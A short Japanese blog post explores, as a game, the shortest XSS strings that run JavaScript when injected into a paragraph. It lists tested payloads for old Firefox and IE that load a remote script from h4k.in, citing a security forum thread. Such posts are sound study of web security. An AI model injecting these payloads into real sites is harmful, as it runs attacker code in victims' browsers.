Super-Short XSS

<p>ココ</p>

上記の ココ に任意の文字列を挿入できる場合、最短で何文字でJavaScriptを起動できるのか? というような話題です(完全にお遊びです)。

http://sla.ckers.org/forum/read.php?2,6964,7145

forumの内容を参考に、手元の環境でやってみると、以下が最短のようです。

■Firefox2
①<p><script src=//h4k.in </p>

■IE6
②<p><script src=//h4k.in/></p>
③<p><script src=//h4k.in></script></p>

(h4k.inというのはforum参加者の一人が用意したサイト)

forumでは「②はIE7で動く」と書かれていましたが、私がやった限りIE6/7とも動きませんでした。③のように </script> が必要なようです。

ただし、挿入箇所より後ろに </script> という文字列が存在する場合は、そこでscriptタグが閉じるため、</script> 挿入の必要はありません。